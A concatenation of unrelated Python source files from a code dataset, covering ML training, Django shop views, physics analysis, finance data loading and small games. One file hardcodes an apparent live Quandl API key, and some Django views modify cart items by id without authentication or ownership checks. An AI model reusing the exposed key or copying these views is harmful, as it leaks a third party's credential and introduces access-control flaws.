createFilteringOutput(self, probeFilename,resultScores):\n return {'probe': probeFilename, 'matches':resultScores.scores,'meta':resultScores.visData}\n","sub_path":"provenance/provenanceFiltering/provenanceFiltering.py","file_name":"provenanceFiltering.py","file_ext":"py","file_size_in_byte":5091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"329732969","text":"import torch\nfrom datasets import MnistDataset\nimport argparse\nfrom models import NN_Model\nimport torch.optim as optim\n\n\n\"\"\"\nThis script is about a distillation problem. It trains two teachers with a simple NN for the MNIST dataset.\nTeacher 1 trains a model that goes from 0 to 4.\nTeacher 2 trains a model that goes from 5 to 9.\nThe aim of this script is to make some research from the paper 'Unifying Heterogeneous Classifiers With Distillation'\n\"\"\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--epochs', default=20)\nparser.add_argument('--lr', default=0.001)\nparser.add_argument('--train_file', default=\"/home/student/noel_aitor/mnist/data/MNIST/processed/training.pt\")\nparser.add_argument('--save_teachers', default=True)\nparser.add_argument('--teachers_path', default=\"/home/student/noel_aitor/mnist/teachers/\")\nparser.add_argument('--device', default=\"cuda\")\nargs = vars(parser.parse_args())\ndevice = args[\"device\"]\n\n\n# Teacher 1\nimages, targets = torch.load(args[\"train_file\"])\ntrainset0to4 = MnistDataset(images, targets)\nidx = trainset0to4.targets <= 4\ntrainset0to4.images = trainset0to4.images[idx]\ntrainset0to4.targets = trainset0to4.targets[idx]\ntrainloader = torch.utils.data.DataLoader(trainset0to4, batch_size=128, shuffle=True, num_workers=2)\n\n\nteacher0to4 = NN_Model(n_classes=5, dropout=0.2, hidden_dropout=0.5)\nteacher0to4.to(device)\n\nepochs = args[\"epochs\"]\nlearning_rate = args[\"lr\"]\ncriterion = torch.nn.CrossEntropyLoss()\noptimizer = optim.SGD(teacher0to4.parameters(), lr=learning_rate, momentum=0.9)\n\n# Run over epochs (1 epoch = visited all items in dataset)\nfor epoch in range(epochs):\n\n running_loss = 0.0\n total = 0\n\n # for i, data in enumerate(trainloader, 0):\n for data in trainloader:\n # Apply the learning rate decay\n if epoch % 100 == 0 and epoch != 0:\n learning_rate = learning_rate * 0.5\n optimizer = optim.SGD(teacher0to4.parameters(),\n lr=learning_rate, momentum=0.9)\n\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n inputs = torch.flatten(inputs, start_dim=1).to(device)\n inputs = inputs.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = teacher0to4(inputs.float())\n target = labels.to(device).long()\n loss = criterion(outputs, target)\n loss.backward()\n optimizer.step()\n\n total += len(data)\n\n # print statistics\n running_loss += loss.item()\n # print every epoch\n print('[%d] loss: %.3f' % (epoch + 1, running_loss / total))\n\nprint('Finished teacher 1 training!')\n\n\ntrainset5to9 = MnistDataset(images, targets)\nidx = trainset5to9.targets >= 5\ntrainset5to9.images = trainset5to9.images[idx]\ntrainset5to9.targets = trainset5to9.targets[idx]\ntrainset5to9.targets = trainset5to9.targets - 5\ntrainloader = torch.utils.data.DataLoader(trainset5to9, batch_size=128, shuffle=True, num_workers=2)\n\nteacher5to9 = NN_Model(n_classes=5, dropout=0.2, hidden_dropout=0.5)\nteacher5to9.to(device)\n\nlearning_rate = 0.001\ncriterion = torch.nn.CrossEntropyLoss()\noptimizer = optim.SGD(teacher5to9.parameters(), lr=learning_rate, momentum=0.9)\n\n# Run over epochs (1 epoch = visited all items in dataset)\nfor epoch in range(epochs):\n\n running_loss = 0.0\n total = 0\n\n # for i, data in enumerate(trainloader, 0):\n for data in trainloader:\n # Apply the learning rate decay\n if epoch % 100 == 0 and epoch != 0:\n learning_rate = learning_rate * 0.5\n optimizer = optim.SGD(teacher5to9.parameters(),\n lr=learning_rate, momentum=0.9)\n\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n inputs = torch.flatten(inputs, start_dim=1).to(device)\n inputs = inputs.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = teacher5to9(inputs.float())\n target = labels.to(device).long()\n loss = criterion(outputs, target)\n loss.backward()\n optimizer.step()\n\n total += len(data)\n\n # print statistics\n running_loss += loss.item()\n # print every epoch\n print('[%d] loss: %.3f' % (epoch + 1, running_loss / total))\n\nprint('Finished teacher 2 training!')\n\n\nif args[\"save_teachers\"]:\n torch.save(teacher0to4, args[\"teachers_path\"] + \"teacher0to4_NN.pt\")\n torch.save(teacher5to9, args[\"teachers_path\"] + \"teacher5to9_NN.pt\")\n print(f\"Teachers stored in {args['teachers_path']}\")\n","sub_path":"code/train_teachers_NN.py","file_name":"train_teachers_NN.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"292897875","text":"from typing import Any\nfrom typing import Dict\nfrom typing import Text\n\nimport pytest\n\nfrom project.settings import HOMEWORKS\nfrom project.utils import import_by_path\n\n_BENZAK_HTTP_RESPONSE = \"\"\"HTTP/1.1 200 OK\nConnection: keep-alive\nContent-Length: 4053\nContent-Type: text/html; charset=utf-8\nDate: Sun, 26 Jan 2020 14:07:02 GMT\nServer: gunicorn/19.9.0\nVary: Cookie\nVia: 1.1 vegur\nX-Frame-Options: SAMEORIGIN\n\n\n\n\n\n\n
    \n    HTTP/9.1 666 NE OK\n\nConnection: keep-dead\n    Content-Length: 1488\nContent-Type: text/png; charset=utf-9\n    Date: Sun, 32 Jan 2020 14:88:99 BMT\nServer: gunicorn/1.2.3\n    Vary: Cookie\nVia: 1.1 vegur\n    X-Frame-Options: SAMEORIGIN\n1: 2\n0 1 2 : 3 4 5\nexit\n-2:-3\n
    \n\n\n\"\"\"\n\n\ndef find_modules_for_level(level: Text) -> Dict[Text, Any]:\n modules = {}\n\n for pyfile in HOMEWORKS.glob(f\"**/lesson13/{level}.py\"):\n student = pyfile.parts[-3]\n module = import_by_path(pyfile)\n modules[student] = module\n\n return modules\n\n\n@pytest.fixture\ndef benzak_http_response() -> str:\n return _BENZAK_HTTP_RESPONSE\n\n\n@pytest.fixture\ndef modules_level01() -> Dict[Text, Any]:\n return find_modules_for_level(\"level01\")\n\n\n@pytest.fixture\ndef modules_level02() -> Dict[Text, Any]:\n return find_modules_for_level(\"level02\")\n\n\n@pytest.fixture\ndef modules_level03() -> Dict[Text, Any]:\n return find_modules_for_level(\"level03\")\n\n\n@pytest.fixture\ndef modules_level04() -> Dict[Text, Any]:\n return find_modules_for_level(\"level04\")\n\n\n@pytest.fixture\ndef modules_level05() -> Dict[Text, Any]:\n return find_modules_for_level(\"level05\")\n","sub_path":"lessons/lesson13/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"194081249","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Product\nfrom django.db.models import Q\nfrom django.shortcuts import render, get_object_or_404\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.utils import timezone\nfrom .models import Product,OrderItem\nfrom math import ceil\nfrom django.contrib.auth.decorators import login_required\nfrom .decorators import allowed_users\n\n# Create your views here.\n\ndef index(request):\n if request.GET:\n query = request.GET.get('q')\n product = get_data_queryset(str(query)) # typeCasting query to sting\n else:\n product = Product.objects.all()\n\n cart = 0\n if request.user.username:\n cart = OrderItem.objects.filter(Customer_Id_id=request.user.id).count()\n params = { 'product': product, \"cart\": cart}\n\n return render(request, 'shop/index.html', params)\n\ndef view_product(request, pk):\n if request.method == \"POST\":\n product = Product.objects.get(pk=pk)\n else:\n product = Product.objects.get(pk=pk)\n params = {'product': product}\n return render(request, 'shop/product.html', params)\n\n@login_required(login_url=\"/Login/\")\ndef itemdetail(request):\n orderitems = ''\n if request.user.username:\n orderitems = OrderItem.objects.filter(Customer_Id_id=request.user.id).all()\n\n params = {'orderitems': orderitems}\n\n return render(request, \"Shop/item.html\", params)\n\n@login_required(login_url=\"/Login/\")\ndef add_to_cart(request, id):\n # login user object\n user = request.user\n # checking if data is exists or not\n if OrderItem.objects.filter(Customer_Id_id=user.id, item_id=id, ordered=False).exists():\n # update quantity\n order = OrderItem.objects.filter(Customer_Id_id=user.id, item_id=id).get();\n order.quantity += 1\n order.save()\n messages.info(request, \"This item is added to your cart\")\n else:\n # insert a data in a row\n OrderItem.objects.create(item_id=id, Customer_Id_id=user.id, ordered=False)\n\n # return HttpResponse('created')\n return redirect(\"/\")\n\n\ndef remove_from_cart(request, id):\n user = request.user\n\n if OrderItem.objects.filter(Customer_Id_id=user.id, item_id=id, ordered=False).exists():\n order = OrderItem.objects.filter(Customer_Id_id=user.id, item_id=id).get();\n order.quantity = 0\n order.save()\n if int(order.quantity) == 0:\n order.delete()\n messages.info(request, \"This item has been removed from your cart\")\n\n else:\n # OrderItem.objects.create(item_id = id ,Customer_Id_id = user.id,ordered=False)\n messages.info(request, \"Item is not in the cart\")\n return redirect(\"/\")\n\n\ndef get_data_queryset(query=None): #Searching #queryset= search garda aaaune\n\tqueryset = []\n\tqueries = query.split(\" \")\n\tfor q in queries:\n\t\tproduct = Product.objects.filter(\n\t\t\t\t Q(Product_Name__icontains=q) |\n\t\t\t\t Q(Product_Category__icontains=q)\n\t\t\t )\n\t\tfor product in product:\n\t\t\tqueryset.append(product)\n\n\treturn list(set(queryset))\n\n\ndef increase(request, id):\n item = OrderItem.objects.get(id=id)\n item.quantity += 1\n item.save()\n\n return redirect(\"itemdetail\")\n\ndef decrease(request, id):\n item = OrderItem.objects.get(id=id)\n item.quantity = int(item.quantity) - 1\n item.save()\n if int(item.quantity)==0:\n item.delete()\n\n\n return redirect(\"itemdetail\")\n\n@allowed_users(allowed_roles=['customer'])\ndef Checkout(request):\n orderitems = ''\n total=0\n totalamount=0\n if request.user.username:\n orderitems = OrderItem.objects.filter(Customer_Id_id=request.user.id).all()\n\n for i in orderitems:\n total = i.quantity * i.item.Product_Price\n totalamount = totalamount + total\n\n params = {'totalamount': totalamount}\n\n return render(request,\"Payment/Checkout.html\",params)","sub_path":"rbaclothing/Shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334329644","text":"# configuration file\n#!/usr/bin/python\nimport ROOT\n\"\"\"\n\nThis is a configuration file containing \nthe code colors in hex, and translated \nin the ROOT format.\n\nThe colors has been inspired from :\nhttp://flatuicolors.com/\n\nyou can use the follwing command to \ntransform the HEX color format to ROOT\nformat : ROOT.TColor.GetColor(hexcolor)\n\n\"\"\"\n\nhexcolor = {\n \"turquoise\" :\"#1abc9c\",\n \"emerald\" :\"#2ecc71\",\n \"peter_river\" :\"#3498db\",#ggf\n \"amethyst\" :\"#9b59b6\",\n \"wet_asphalt\" :\"#34495e\",\n \"green_sea\" :\"#16a085\",\n \"nephritis\" :\"#27ae60\",\n \"belize_hole\" :\"#2980b9\",\n \"wisteria\" :\"#8e44ad\",\n \"midnight_blue\":\"#2c3e50\",#gg+gj\n \"sun_flower\" :\"#f1c40f\",#QCD (jj)\n \"carrot\" :\"#e67e22\",\n \"alizarin\" :\"#e74c3c\",\n \"clouds\" :\"#ecf0f1\",\n \"concrete\" :\"#95a5a6\",\n \"orange\" :\"#f39c12\",\n \"pumpkin\" :\"#d35400\",\n \"pomegranate\" :\"#c0392b\",# VBF signal\n \"silver\" :\"#bdc3c7\",\n \"asbestos\" :\"#7f8c8d\"\n}\nrgbcolor = {\n \"turquoise\" :[26 , 188, 156],\n \"emerland\" :[46 , 204, 113],\n \"peter-river\" :[52 , 152, 219],\n \"amethyst\" :[155, 89 , 182],\n \"wet-asphalt\" :[52 , 73 , 94 ],\n \"green-sea\" :[22 , 160, 133],\n \"nephritis\" :[39 , 174, 96 ],\n \"belize-hole\" :[41 , 128, 185],\n \"wisteria\" :[142, 68 , 173],\n \"midnight-blue\" :[44 , 62 , 80 ],\n \"sun-flower\" :[241, 196, 15 ],\n \"carrot\" :[230, 126, 34 ],\n \"alizarin\" :[231, 76 , 60 ],\n \"clouds\" :[236, 240, 241],\n \"concrete\" :[149, 165, 166],\n \"orange\" :[243, 156, 18 ],\n \"pumpkin\" :[211, 84 , 0 ],\n \"pomegranate\" :[192, 57 , 43 ],\n \"silver\" :[189, 195, 199],\n \"asbestos\" :[127, 140, 141]}\n\nusercolor = {}\ndef declar_color():\n with open('./.color-for-root.C','w') as g:\n ci = 1500\n g.write('{\\n')\n for c in rgbcolor:\n col = ROOT.TColor(ci,\n rgbcolor[c][0],\n rgbcolor[c][1],\n rgbcolor[c][2]) \n line = ('TColor *c_%s = new TColor(%i,%d,%d,%d);'\n % ( c, ci,\n rgbcolor[c][0]/255.,\n rgbcolor[c][1]/255.,\n rgbcolor[c][2]/255.)\n )\n ci = ci + 1;\n usercolor[c]=ci\n g.write(line + '\\n')\n g.write('}')\n \n#usercolor={\n# \"vbf_m125\" : 99,\n# \"ggf_m125\" : 215,\n# \"qcd\" : 91,\n# \"gamgam\" : 65,\n# \"gamJet\" : 51,\n# \"dy_toll_m50\" : 85,\n#}\n","sub_path":"colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334113507","text":"#!/usr/bin/env python\n\n__author__ = \"Jose Antonio Navas Molina\"\n__copyright__ = \"Copyright 2013, The QIIME Scaling Project\"\n__credits__ = [\"Jose Antonio Navas Molina\"]\n__license__ = \"BSD\"\n__version__ = \"0.0.2-dev\"\n__maintainer__ = \"Jose Antonio Navas Molina\"\n__email__ = \"josenavasmolina@gmail.com\"\n__status__ = \"Development\"\n\nfrom matplotlib import use\nuse('Agg', warn=False)\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport imghdr\nfrom shutil import rmtree\nfrom unittest import TestCase, main\nfrom tempfile import mkdtemp\nfrom pyqi.core.exception import IncompetentDeveloperError\nfrom scaling.interfaces.optparse.output_handler import (write_summarized_results,\n write_matplotlib_figure,\n write_string_to_dir)\n\nclass OutputHandlerTests(TestCase):\n def setUp(self):\n self.output_dir = mkdtemp()\n self.data = {\n 'label' : [100, 200, 300, 400, 500],\n 'wall_time' : ([25, 50, 75, 100, 125],\n [1, 2, 3, 4, 5]),\n 'cpu_user' : ([23, 46, 70, 94, 123],\n [0.9, 2, 2.9, 4.1, 5]),\n 'cpu_kernel' : ([2, 4, 5, 6, 2],\n [0.1, 0.0, 0.001, 0.2, 0.02]),\n 'memory' : ([1048576, 2097152, 3145728, 4194304, 5242880],\n [0.0, 0.0, 0.0, 0.2, 0.0])\n }\n self.figure = plt.figure()\n # ax = self.figure.add_subplot(111)\n # ax.plot()\n\n def tearDown(self):\n rmtree(self.output_dir)\n\n def test_write_summarized_results(self):\n \"\"\"Correctly writes the bench results to a file\"\"\"\n # Can't write without a path\n self.assertRaises(IncompetentDeveloperError, write_summarized_results,\n 'a', self.data)\n write_summarized_results('foo', self.data, self.output_dir)\n fp = os.path.join(self.output_dir, 'foo.txt')\n with open(fp, 'U') as obs_f:\n obs = obs_f.read()\n self.assertEqual(obs, exp_write_summarized_results)\n\n def test_write_matplotlib_figure(self):\n \"\"\"Correctly writes a matplotlib figure to a file\"\"\"\n # Can't write without a path\n self.assertRaises(IncompetentDeveloperError, write_matplotlib_figure,\n 'a', self.figure)\n write_matplotlib_figure('foo', self.figure, self.output_dir)\n fp = os.path.join(self.output_dir, 'foo.png')\n self.assertEqual(imghdr.what(fp), 'png')\n\n def test_write_string_to_dir(self):\n \"\"\"Correctly writes a string in a directory\"\"\"\n # Can't write without a path\n self.assertRaises(IncompetentDeveloperError, write_string_to_dir,\n 'a', 'foo')\n write_string_to_dir('foo', 'bar', self.output_dir)\n fp = os.path.join(self.output_dir, 'foo.txt')\n with open(fp, 'U') as obs_f:\n obs = obs_f.read()\n\n self.assertEqual(obs, 'bar\\n')\n\n\nexp_write_summarized_results = \"\"\"#label\\twall_mean\\twall_std\\tuser_mean\\tuser_std\\tkernel_mean\\tkernel_std\\tmem_mean\\tmem_std\n100\\t25\\t1\\t23\\t0.9\\t2\\t0.1\\t1048576\\t0.0\n200\\t50\\t2\\t46\\t2\\t4\\t0.0\\t2097152\\t0.0\n300\\t75\\t3\\t70\\t2.9\\t5\\t0.001\\t3145728\\t0.0\n400\\t100\\t4\\t94\\t4.1\\t6\\t0.2\\t4194304\\t0.2\n500\\t125\\t5\\t123\\t5\\t2\\t0.02\\t5242880\\t0.0\n\"\"\"\n\nif __name__ == '__main__':\n main()","sub_path":"tests/test_interfaces/test_optparse/test_output_handler.py","file_name":"test_output_handler.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"595133656","text":"#!/home/kjeong23/softwares/bin/python3.4\n# micelle COM position rms fluctuation calculation\n#\n#starting from reindexed COM trajectory. reading -> should apply 'smart pbc reading'.\n#consider 2 subsequent steps -> if displacement >= box/2, transpose the later step.\n#-> collect along the whole COMtraj:get average position. -> 2nd reading(apply smart reading again)\n#-> calculate deviation from ave -> get rmsf components, norm (sqrt (dx^2+dy^2+dz^2))\n#2 arguments: input(reindexed COM traj) output(table of site, xyz components of rms position fluct, norm)\n\nimport math\nimport sys\nimport numpy\n\ndef gro_xyzsplit(str): #own needed function for splitting of .gro format. V05.\n splitstr=[str[20:28],str[28:36],str[36:44]]\n for i in range(len(splitstr)):\n splitstr[i]=splitstr[i].replace(\" \",\"\")\n for i in range(0,3):\n splitstr[i]=float(splitstr[i])\n return splitstr\n\ndef smartcrd(crd1,crd2,box,nmic): #'smart pbc reading'\n newcrd=crd2\n for i in range(nmic):\n for j in range(3):\n if crd2[i][j]-crd1[i][j] >= (box[j]/2.0):\n newcrd[i][j]-=box[j]\n elif crd2[i][j]-crd1[i][j] <= (-box[j]/2.0):\n newcrd[i][j]+=box[j]\n return newcrd\n\n#main fxn\ndef main():\n \n #Load input files\n trjfile = open(sys.argv[1],'r') #reindexed com trajectory file\n outfile = open(sys.argv[2],'w') #output file for rms position fluctuation\n\n #start the loop of 'COM trajectory reading'(1st: getting ave)\n sindex,lindex=0,0\n crd1=numpy.empty((0,3),float)\n crd2=numpy.empty((0,3),float)\n for line in trjfile:\n if lindex!=0:\n if lindex==1:\n nmic=int(line)\n elif lindex>=2 and lindex<=1+nmic:\n split=gro_xyzsplit(line)\n if sindex==0: #initial step\n crd1=numpy.vstack((crd1,split))\n else:\n crd2=numpy.vstack((crd2,split))\n elif lindex==2+nmic:\n split=line.split()\n if sindex==0: #initial step\n box1=numpy.array([float(x) for x in split])\n else:\n box2=numpy.array([float(x) for x in split])\n\n if sindex==0:\n avecrd=crd1\n else:\n crd2=smartcrd(crd1,crd2,box2,nmic)\n avecrd+=crd2\n crd1=crd2\n crd2=numpy.empty((0,3),float)\n #initialization\n if (sindex%50)==0:\n print('loop 1 step {} complete'.format(sindex))\n sindex+=1\n lindex=-1\n lindex+=1\n avecrd/=sindex\n\n #Load input file again for 2nd loop, 2nd loop:getting STDEV\n trjfile = open(sys.argv[1],'r') \n sindex,lindex=0,0\n crd1=numpy.empty((0,3),float)\n crd2=numpy.empty((0,3),float)\n stdev=numpy.zeros((nmic,3),float)\n norm=numpy.zeros(nmic,float)\n\n for line in trjfile:\n if lindex!=0:\n if lindex==1:\n nmic=int(line)\n elif lindex>=2 and lindex<=1+nmic: \n split=gro_xyzsplit(line)\n if sindex==0: #initial step\n crd1=numpy.vstack((crd1,split)) \n else:\n crd2=numpy.vstack((crd2,split)) \n elif lindex==2+nmic:\n split=line.split()\n if sindex==0: #initial step\n box1=numpy.array([float(x) for x in split]) \n else:\n box2=numpy.array([float(x) for x in split]) \n \n if sindex==0:\n onedev=crd1-avecrd #deviation\n else: \n crd2=smartcrd(crd1,crd2,box2,nmic) \n onedev=crd2-avecrd\n crd1=crd2 \n crd2=numpy.empty((0,3),float)\n onedev=onedev*onedev\n stdev+=onedev #first adding (dev)^2 of 1 step \n #initialization\n if (sindex%50)==0: \n print('loop 2 step {} complete'.format(sindex)) \n sindex+=1\n lindex=-1\n lindex+=1\n norm=stdev[:,0]+stdev[:,1]+stdev[:,2]\n stdev/=(sindex-1) #variance\n norm/=(sindex-1) #variance\n\n stdev=numpy.sqrt(stdev)\n norm=numpy.sqrt(norm)\n\n #printing section\n for i in range(nmic):\n outfile.write('{:2} {:8.5f} {:8.5f} {:8.5f} {:8.5f}\\n'.format(i+1,stdev[i][0],stdev[i][1],stdev[i][2],norm[i])) \n\n trjfile.close()\n outfile.close()\n\nif __name__ == \"__main__\": main()\n\n","sub_path":"py_development/data_process/micelles/rmsf_v01.py","file_name":"rmsf_v01.py","file_ext":"py","file_size_in_byte":4607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"146673474","text":"# Definition for a binary tree node.\n\nfrom typing import List\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def delNodes(self, root: TreeNode, to_delete: List[int]) -> List[TreeNode]:\n\n roots = set([root])\n to_delete = set(to_delete)\n\n from collections import deque\n queue = deque([root])\n\n while queue:\n n = queue.popleft()\n if n.left:\n if n.val in to_delete:\n roots.add(n.left)\n queue.append(n.left)\n if n.left.val in to_delete:\n n.left = None\n if n.right:\n if n.val in to_delete:\n roots.add(n.right)\n queue.append(n.right)\n if n.right.val in to_delete:\n n.right = None\n if n.val in to_delete:\n roots = roots - {n}\n\n return sorted(roots, key=lambda x: x.val)\n","sub_path":"leetcode/1110_delete_nodes_and_return_forest.py","file_name":"1110_delete_nodes_and_return_forest.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195834577","text":"'''\nSecurityList class that loads security data\nand finds hedge ratio of portolfio, returns\ntime series, and other useful functions\n\n'''\n\nimport quandl\nimport numpy as np\nimport pandas as pd\nimport datetime\nimport statsmodels.tsa.vector_ar.vecm as jh\nimport matplotlib.pyplot as plt\nimport pickle\n\nquandl.ApiConfig.api_key = 'AfS6bPzj1CsRFyYxCcvz'\n\nclass SecurityList():\n\n def __init__(self,tickers):\n self.tickers = tickers\n self.data = pd.DataFrame(columns=self.tickers)\n self.volume = pd.DataFrame(columns=self.tickers)\n self.split = pd.DataFrame(columns=self.tickers)\n self.div = pd.DataFrame(columns=self.tickers)\n self.close = pd.DataFrame(columns=self.tickers)\n\n def importData(self,data):\n self.data = data\n\n def downloadQuandl(self,start,end):\n\n try:\n self.data,self.volume,self.split,self.div,self.close = pickle.load(open('WIKIdata.pickle','rb'))\n except FileNotFoundError:\n def convert_dt(elem):\n return pd.to_datetime(elem).date()\n for sec in self.tickers:\n print(\"downloading \"+sec)\n try:\n a = quandl.get('WIKI/'+sec, start_date=start,end_date=end)\n self.data[sec] = a['Adj. Close']\n self.volume[sec] = a['Volume']\n self.split[sec] = a['Split Ratio']\n self.div[sec] = a['Ex-Dividend']\n self.close[sec] = a['Close']\n f = np.vectorize(convert_dt)\n index = f(a.index)\n except:\n pass\n self.data = self.data.set_index(index)\n self.volume = self.volume.set_index(index)\n self.split = self.split.set_index(index)\n self.div = self.div.set_index(index)\n self.close = self.close.set_index(index)\n pickle.dump((self.data,self.volume,self.split,self.div,self.close),open('WIKIdata.pickle','wb'))\n self.data = self.data.dropna(axis='columns')\n self.volume = self.volume.dropna(axis='columns')\n self.split = self.split.dropna(axis='columns')\n self.div = self.div.dropna(axis='columns')\n self.close = self.close.dropna(axis='columns')\n print(self.data.columns)\n self.data = self.data[self.tickers]\n self.volume = self.volume[self.tickers]\n self.split = self.split[self.tickers]\n self.div = self.div[self.tickers]\n self.close = self.close[self.tickers]\n\n def genTimeSeries(self):\n\n '''\n Generate Time Series using johansen test\n '''\n eig = self.genHedgeRatio()\n ts = np.dot(self.data,eig)\n return ts\n\n def genHedgeRatio(self):\n\n matrix = self.genMatrix()\n results = jh.coint_johansen(matrix,0,1)\n return results.evec[:,0]\n\n def genMatrix(self):\n\n ts_row,ts_col = self.data.shape\n matrix = np.zeros((ts_row,ts_col))\n for i, sec in enumerate(self.data):\n matrix[:,i] = self.data[sec]\n return matrix\n\n def getVolume(self):\n return self.volume\n\n def getSplits(self):\n return self.split\n\n def getDiv(self):\n return self.div\n\n def getAdjFactors(self):\n temp = self.div.copy()\n temp[temp != 0] = 1\n close = self.close*temp\n adj_factors = self.div+close\n close[close == 0] = 1\n adj_factors /= close\n adj_factors[adj_factors == 0] = 1\n return adj_factors\n\n def adjSplits(self):\n split = self.split.product()\n eig = self.genHedgeRatio()\n adj = eig/split\n return adj\n\n def adjDividends(self):\n adj_fact = self.getAdjFactors()\n total_fact = adj_fact.product()\n return total_fact\n","sub_path":"securityList.py","file_name":"securityList.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"159015664","text":"from ursina import *\nfrom ursina.prefabs.first_person_controller import FirstPersonController\n\napp = Ursina()\ngrass_texture = load_texture('minecraft/grass_block.png')\nstone_texture = load_texture('minecraft/stone_block.png')\nbrick_texture = load_texture('minecraft/brick_block.png')\ndirt_texture = load_texture('minecraft/dirt_block.png')\nsky_texture = load_texture('minecraft/skybox.png')\narm_texture = load_texture('minecraft/arm_texture.png')\npunch_sound = Audio('minecraft/punch_sound',loop = False, autoplay = False)\n\nblock_pick=1\nwindow.fps_counter.enabled = False\nwindow.exit_button.visible = False\ndef update():\n\tglobal block_pick\n\tif held_keys['left mouse'] or held_keys['right mouse']:\n\t\thand.animation()\n\telse:\n\t\thand.animation2()\n\n\n\tif held_keys['1']:block_pick = 1\n\tif held_keys['2']:block_pick = 2\n\tif held_keys['3']:block_pick = 3\n\tif held_keys['4']:block_pick = 4\n\nclass Voxel(Button):\n\tdef __init__(self, position= (0,0,0), texture =grass_texture):\n\t\tsuper().__init__(\n\t\t\tparent = scene,\n\t\t\tposition = position,\n\t\t\tmodel = 'minecraft/block',\n\t\t\torigin_y =0.5,\n\t\t\ttexture = texture,\n\t\t\tcolor = color.color(0,0,random.uniform(0.9,1)),\n\t\t\tscale=0.5)\n\n\tdef input(self,key):\n\t\tif self.hovered:\n\t\t\tif key == 'left mouse down':\n\t\t\t\tpunch_sound.play()\n\n\t\t\t\tif block_pick == 1:\n\t\t\t\t\tvoxel = Voxel(position = self.position + mouse.normal,texture=grass_texture)\n\t\t\t\tif block_pick == 2:\n\t\t\t\t\tvoxel = Voxel(position = self.position + mouse.normal,texture=stone_texture)\n\t\t\t\tif block_pick == 3:\n\t\t\t\t\tvoxel = Voxel(position = self.position + mouse.normal,texture=brick_texture)\n\t\t\t\tif block_pick == 4:\n\t\t\t\t\tvoxel = Voxel(position = self.position + mouse.normal,texture=dirt_texture)\n\t\t\t\tif block_pick == 1:\n\t\t\t\t\tvoxel = Voxel(position = self.position + mouse.normal,texture=grass_texture)\n\n\t\t\tif key =='right mouse down':\n\t\t\t\tpunch_sound.play()\n\t\t\t\tdestroy(self)\n\t\t\tif key == 'q':\n\t\t\t\tquit()\n\nclass Sky(Entity):\n\tdef __init__(self):\n\t\tsuper().__init__(\n\t\t\tparent = scene,\n\t\t\tmodel = 'sphere',\n\t\t\ttexture = sky_texture,\n\t\t\tscale = 150,\n\t\t\tdouble_sided = True)\n\nclass Hand(Entity):\n\tdef __init__(self):\n\t\tsuper().__init__(\n\t\t\tparent = camera.ui,\n\t\t\tmodel = 'arm',\n\t\t\ttexture= arm_texture,\n\t\t\tscale = 0.2,\n\t\t\trotation = Vec3(150,-10,0),\n\t\t\tposition = Vec2(0.4,-0.6))\n\n\tdef animation(self):\n\t\tself.position = Vec2(0.3, -0.5)\n\n\tdef animation2(self):\n\t\tself.position = Vec2(0.4,-0.6)\n\n\n\nfor z in range(20):\n\tfor x in range(20):\n\t\tvoxel = Voxel(position = (x,0,z))\n\nsky = Sky()\nhand = Hand()\n\n\nplayer = FirstPersonController()\napp.run()","sub_path":"minicraft.py","file_name":"minicraft.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"96098430","text":"import sys\r\nimport os\r\nimport glob\r\nimport gui_cycle\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom pytdx.reader import TdxDailyBarReader, TdxFileNotFoundException\r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\r\n\r\nclass circle(QMainWindow, gui_cycle.Ui_MainWindow):\r\n def __init__(self):\r\n super(self.__class__, self).__init__()\r\n self.setupUi(self)\r\n self.sys_init()\r\n\r\n def sys_init(self):\r\n self.figure = plt.figure()\r\n self.canvas = FigureCanvas(self.figure)\r\n self.verticalLayout.addWidget(self.canvas)\r\n\r\n self.lineEdit.editingFinished.connect(self.editFinished)\r\n self.dateEdit_start.dateChanged.connect(self.dateChanged)\r\n self.dateEdit_end.dateChanged.connect(self.dateChanged)\r\n self.verticalSlider.valueChanged.connect(self.sliderChanged)\r\n self.spinBox.valueChanged.connect(self.spinChanged)\r\n self.checkBoxRev.toggled.connect(self.reverseChanged)\r\n self.checkBoxLog.toggled.connect(self.logChanged)\r\n\r\n paths = []\r\n with open(\"./_path\") as f:\r\n for line in f.readlines():\r\n if \"/\" in line:\r\n paths.append(line.strip('\\r\\n \\t'))\r\n\r\n # 搜索文件列表\r\n self.tickers = []\r\n for path in paths:\r\n if not 